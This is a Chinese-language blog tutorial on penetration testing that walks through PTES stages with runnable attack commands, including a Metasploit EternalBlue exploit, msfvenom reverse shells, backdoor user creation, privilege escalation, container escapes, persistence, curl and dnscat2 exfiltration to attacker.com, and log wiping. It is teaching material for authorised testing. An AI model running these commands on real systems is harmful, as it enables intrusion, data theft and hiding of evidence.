渗透测试

渗透测试

一、渗透测试的基本概念

渗透测试是通过模拟恶意黑客的攻击方式,来评估计算机网络系统安全的一种评估方法。这个过程包括对系统的任何弱点、技术缺陷或漏洞的主动分析,这个分析是从一个攻击者可能存在的位置来进行的,并且从这个位置有条件主动利用安全漏洞。

特点:

  • 测试:一切在控制之下,不会对系统造成危害。
  • 模拟攻击:从攻击者的角度测试安全;像“坏人”一样思考问题。
  • 渗透:测试方式多样灵活,细小的缺陷都可能被发现并利用

二 、渗透测试的种类

1、黑盒测试

在不知道被测单位的内部技术结构的情况下,从外网来对其进行渗透。

在这种渗透中,红队往往会借助各种技术来收集有关目标网络,系统或应用程序的信息,并寻找漏洞,暴露出被渗透对象的安全问题

黑盒渗透的难度往往会高于白盒渗透

2、白盒渗透

在白盒渗透中,测试人员可以获得有关网络,系统或应用程序的完整信息以及源代码,操作系统详细信息和其他所需信息,了解的会更多更有针对性。

白盒测试从被测系统环境自身出发,全面消除内部安全问题,从而增加了从单位外部渗透系

统的难度。白盒测试可以被认作为来自内部来源的攻击,黑盒测试起不到这样的作用。

白盒测试的时间、成本以及技术力都会低于黑盒渗透

3、灰盒测试

在灰盒测试中,测试人员已经获得应用程序或系统的部分知识,因此可以被认作外部黑客的攻击,黑客已经非法访问组织的网络基础设施文档。

三、渗透测试的流程

PTES(PTES: Penetration Testing Execution Standard)渗透测试执行标准是安全业界在渗透测试技术领域中正开发的一个新标准,目标是在对渗透测试进行重新定义,新标准的核心理念是通过建立起 进行渗透测试所要求的基本准则基线,来定义一次真正的渗透测试过程,并得到安全业界的广泛认同。

渗透测试的执行标准流程是指在进行渗透测试时遵循的一系列步骤和规范,以保证渗透测试的有效性和合法性。一个标准的渗透测试流程包括以下七个阶段:

  • 前期交互
  • 信息收集
  • 危险建模
  • 漏洞分析
  • 渗透攻击
  • 后渗透
  • 报告编写

1、前期交互

这一阶段主要是确定测试范围、规则和期望,是标准化流程,而这篇博客主要探讨技术问题,所以不过多阐述。

2、信息收集

信息收集是渗透测试非常关键的一步,在这一步中收集的所有信息都可以成为在接下来的渗透测试中的可利用点,信息收集也会分成两种,为被动信息收集和主动信息收集

(1)被动信息收集

被动信息收集为不主动和目标系统进行交互,而是通过公开来源来收集信息

  • WHOIS查询
  • DNS信息收集
  • 搜索引擎
  • 历史数据查询

可以通过这些方式来收集子域名(往往子站的防御小于主站)、组织信息(可用于社工)、识别 web 利用指纹信息(可对应已知漏洞),在一些特定情况下还可以获得真实 IP

(2)主动信息收集

开始进行网络扫描,在这个阶段需要进行多次扫描(在这里通常使用nmap)。

进行主机发现扫描:

1
nmap -sn 192.168.1.0/24

进行端口扫描:

1
2
3
4
5
TCP全连接扫描:nmap -sT

SYN半开扫描:nmap -sS

UDP扫描:nmap -sU

进行指纹收集:

1
2
3
4
5
服务版本探测:nmap -sV

操作系统探测:nmap -O

同时指纹识别也可以直接抓取 banner 信息确定:nc -nv ip 端口

在指纹收集之后可以清楚哪些端口对应着的都是什么服务,很多时候攻击都是通过 web 应用进行渗透,在知道了 web 服务后,就要进行 web 应用信息收集

  • 目录和文件信息收集:

    • 工具:DirBuster, Dirsearch, Gobuster(我通常使用 dirsearch)
    • 命令:dirsearch -u http://example.com --delay=0.01
  • 技术探测:

    • HTTP头分析
    • Cookies检查
    • 使用的框架和技术栈
  • API端点发现:

    • 通过JS文件分析
    • 使用Burp Suite爬取

我所做的扫描器模块主要负责的就是这一方面,现分为两种方式:

  • domain 模式:主要负责子域名收集,并将结果入库
  • scan 模式:主要负责主机存活检测、端口扫描、服务版本指纹探测,并将结果入库

将信息收集模块自动化

3、威胁建模

这个东西还需要建模,主要适用于正规化的渗透测试,价值在于在攻击发生前发现漏洞,优先修复高风险问题。

这里有STRIDE模型(威胁类型)、DREAD模型(风险评估)、PASTA(攻击模拟与威胁分析)、Attack Trees(攻击树)等等概念,不是技术上的问题,不过多阐述。

4、漏洞分析

在这个阶段主要是发现漏洞,但是现在已发现的漏洞太多,靠人为是很大的工作量,所以需要自动化扫描

(1)自动化扫描

工具分类
  • 综合漏洞扫描:检测现已出现的 CVE 漏洞,或者是一些配置上的问题
  • web 应用扫描:主要检测 SQL 注入、XSS、CSRF、XXE等OWASP TOP 10漏洞
  • 网络服务扫描:已知服务漏洞,如SMB、RDP等 (漏洞公告
  • API 安全扫描: 未授权访问、参数篡改、速率限制绕过
  • 云环境扫描: AWS/Azure/GCP错误配置
局限性
  • 误报率高:约30-40%的结果需手动验证
  • 覆盖不全:业务逻辑漏洞难以检测
  • 规避风险:可能触发WAF/IP封锁

(2)手动验证

正如上述所说,自动化扫描的误报率高,所以需要手动验证

漏洞验证方式
  • sql 注入:看是否有sql报错
  • XSS:注入<script>alert(1)</script>观察执行
  • 文件上传:修改Content-Type
  • 提权:检查SUID文件、内核版本匹配EXP

5、渗透攻击

在这个阶段就要运用到前面收集到的各种信息,发现的漏洞点,可以采取的什么渗透方式

web 应用攻击

渗透主要层面大多是从web方向开始

在这个阶段就像是平时的 CTF 题一样,根据上述信息收集和漏洞分析得到的可能可以利用的漏洞,采取对应的攻击方式,

其实在这个部分已经可以实现自动化,现在网上有许多的自动化攻击脚本,一键日卫星

服务漏洞利用

案例:SMB远程代码执行(EternalBlue)(仅适用于Windows 7/Server 2008 R2及更早版本)

漏洞详解

1
2
3
4
5
6
7
8
9
# 需补充SMB版本检测步骤
use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS 192.168.1.5
run
# Metasploit模块
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.5
set PAYLOAD windows/x64/meterpreter/reverse_tcp
exploit

权限提升技术

这是一个找来的教程…

权限提升技术俗称提权,在渗透测试中一般我们是低权限用户,而我们需要通过提权而获取更高的系统权限(如root/Administrator)。同时,提权也是分两种的,分别为:

  • 横向提权(同级别用户间切换)
  • 纵向提权(低权限到高权限)
(1)提权路径分类
  • 内核漏洞:利用操作系统内核未修补的漏洞
  • 服务滥用:利用高权限运行的服务或配置错误
  • 凭证窃取:获取高权限用户的密码/哈希/Ticket
  • 配置错误:错误的文件权限/环境变量设置
  • 计划任务:劫持高权限定时执行的脚本或程序

这里同时也是需要信息收集时候发现是否有可以利用的点

(2)window 提权
  • 收集基础系统信息

    1
    2
    3
    4
    systeminfo | findstr /B /C:"OS Name" /C:"OS Version"  # 系统版本
    whoami /priv # 当前用户权限
    net user # 用户列表
    net localgroup administrators # 管理员组
  • 可以利用一些自动化提权辅助脚本

    • WinPEAS:全面检测Windows提权路径
    1
    .\winpeas.exe quiet cmd fast
    • PowerUp.ps1:检查服务/注册表漏洞
    1
    2
    IEX(New-Object Net.WebClient).DownloadString('http://10.10.10.10/PowerUp.ps1')
    Invoke-AllChecks
  • 服务漏洞利用

    案例:可写服务二进制文件

    1. 查找高权限服务:

      1
      wmic service get name,pathname,startname | findstr /i "LocalSystem"
    2. 检查二进制文件权限:

      1
      icacls "C:\Program Files\Vulnerable\service.exe"
    3. 替换为恶意程序:

      1
      msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f exe > service.exe
  • 内核漏洞利用

    示例:PrintNightmare (CVE-2021-34527)

    1
    2
    3
    # 使用公开EXP
    Import-Module .\CVE-2021-34527.ps1
    Invoke-Nightmare -DriverName "Xerox" -NewUser "hacker" -NewPassword "P@ssw0rd"
  • 数据库提权

​ SQL Server xp_cmdshell

1
2
3
4
5
6
7
8
-- 启用xp_cmdshell
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

-- 执行系统命令
EXEC xp_cmdshell 'net user hacker P@ssw0rd /add';
(3)Linux 提权
  • 基础命令

    1
    2
    3
    4
    5
    uname -a                                     # 内核版本
    cat /etc/passwd # 用户列表
    sudo -l # 检查sudo权限
    find / -perm -4000 -type f 2>/dev/null # SUID文件
    crontab -l # 计划任务
  • 提权辅助脚本

    • LinPEAS:自动化检测工具
    1
    curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
    • Linux Exploit Suggester
    1
    perl linux-exploit-suggester.pl -k 5.4.0
  • 常见提权技术

    • SUID/SGID滥用

      查找危险SUID文件:

      1
      find / -perm -4000 -type f -exec ls -la {} \; 2>/dev/null

      利用已知可提权的二进制:

      1
      2
      # 查找GTFOBins(https://gtfobins.github.io/)
      /usr/bin/find . -exec /bin/sh -p \; -quit
    • 内核漏洞利用

      示例:Dirty Cow (CVE-2016-5195)(过时漏洞)

      1
      2
      3
      gcc -pthread dirty.c -o dirty -lcrypt
      ./dirty
      # 输入新密码后切换到firefart用户(root权限)
      • 较新的 CVE:
      • CVE-2021-4034 (PwnKit)
      • CVE-2022-0847 (Dirty Pipe)
    • 环境变量劫持

      查找以高权限运行的脚本:

      1
      find / -type f -perm -04000 -ls 2>/dev/null

      劫持PATH:

      1
      2
      3
      4
      echo 'int main() { setuid(0); system("/bin/bash"); }' > /tmp/ls.c
      gcc /tmp/ls.c -o /tmp/ls
      export PATH=/tmp:$PATH
      # 等待高权限脚本调用"ls"
(4)高级提权技术
  1. 容器逃逸(Docker/K8s)

(1)检查容器环境

1
2
cat /proc/1/cgroup | grep -i docker
ls -la /.dockerenv

(2)逃逸方法

  • 特权模式逃逸:

    1
    2
    3
    docker run --privileged -it alpine
    mkdir /mnt/host && mount /dev/sda1 /mnt/host
    chroot /mnt/host
  • 挂载逃逸:

    1
    2
    docker run -v /:/mnt -it alpine
    chroot /mnt
  1. 云环境提权

(1)AWS IAM滥用

1
2
3
aws sts get-caller-identity                  # 查看当前权限
aws iam list-attached-user-policies --user-name current-user
aws ec2 run-instances --image-id ami-0c55b159cbfafe1f0 --instance-type t2.micro

(2)GCP Service Account

1
2
gcloud auth list                              # 查看当前账户
gcloud projects get-iam-policy PROJECT_ID # 检查权限

6、后渗透

后渗透是渗透测试中获取目标系统控制权后的关键阶段,主要目标是维持访问扩大控制范围获取高价值数据。这一阶段决定了渗透测试的最终成果和实际影响。

(1)后渗透的目标

  1. 维持持久访问(防止被管理员踢出)
  2. 权限巩固(从普通用户到SYSTEM/root)
  3. 横向移动(访问内网其他系统)
  4. 数据收集与渗出(获取敏感信息)
  5. 清除痕迹(掩盖攻击行为)

(2)后渗透技术

权限维持技术

为维持当前权限稳定

  • Window 系统持久化
    • 常见方法:
      • 注册表启动项:HKLM\Software\Microsoft\Windows\CurrentVersion\Run
      • 计划任务:schtasks /create /tn "Update" /tr "C:\shell.exe" /sc onstart
      • 服务创建:sc create "Backdoor" binPath= "C:\shell.exe" start= auto
      • WMI 事件订阅:通过WMI永久触发后门
      • 影子账户: 创建隐藏的管理员账户
  • Linux 系统持久化
    • 常用技术
      • Cron Jobs:添加定时执行的后门脚本
      • SSH 密钥注入:将公钥写入~/.ssh/authorized_keys
      • .bashrc 后门:在用户bash配置中植入命令
      • LD_PRELOAD 劫持:劫持系统库函数调用
      • Systemd 服务:创建恶意服务
数据收集与渗出
  • 敏感数据定位

    • 数据类型 常见位置(Windows) 常见位置(Linux)
      用户凭证 %AppData%\Microsoft\Credentials\ /etc/shadow, ~/.ssh/
      数据库连接字符串 web.config, appsettings.json .env, config.php
      文档文件 C:\Users\*\Documents\ /home/*/Documents/
      备份文件 *.bak, *.old /var/backups/
  • 数据渗出技术

    • 隐蔽传输
    1
    2
    # DNS隧道渗出(使用dnscat2)
    dnscat2.exe --dns server=attacker.com --secret=mykey
    • 文件拆分压缩
    1
    2
    3
    # Linux分卷压缩+上传
    tar czvf - /sensitive_data/ | split -b 50MB - data.tar.gz.
    for part in data.tar.gz.*; do curl -X POST -F "file=@$part" http://attacker.com/upload; done
痕迹清理
  • Windows日志清除
1
2
3
4
# 清除单个事件日志
Clear-EventLog -LogName Security
# 使用Meterpreter清除
clearev
  • Linux痕迹清理
1
2
3
4
# 清除命令历史
echo "" > ~/.bash_history && history -c
# 删除临时文件
find /tmp /var/tmp -type f -exec shred -zu {} \;
  • 时间戳伪造
1
2
# Windows文件时间修改
(Get-Item "malware.exe").CreationTime = "01/01/2020 08:00:00"
1
2
# Linux时间戳修改
touch -t 202001010800 malware.sh

7、报告编写

报告编写是渗透测试的最后环节,可以说不重要也可以说很重要,它将技术发现转化为可执行的修复方案,直接影响客户的安全决策。优秀的报告应当同时满足技术人员和管理层的需求。

不属于技术问题不过多阐述

四、渗透测试的结论

渗透测试作为网络安全领域的核心实践,其价值和必要性已得到全球认可,但同时也伴随着严格的伦理和法律边界。 因此,渗透测试需要一个严谨的执行标准,正如上述所说的PTES(PTES: Penetration Testing Execution Standard)。在这篇文章中,因为主要是从技术方面探讨,所以对于一些标准化、报告化的东西就简要略过,但是在实际的渗透测试中,这些标准化的东西不能少。

同时,因为历史上出现的漏洞数量庞大,我们在信息收集和漏洞发现的环节中就需要自动化来减轻测试人员的压力,而我们所开发的扫描器所负责的就是这一块,进行信息收集和漏洞扫描。


渗透测试
http://example.com/2025/05/02/渗透测试/
作者
yuhua
发布于
2025年5月2日
许可协议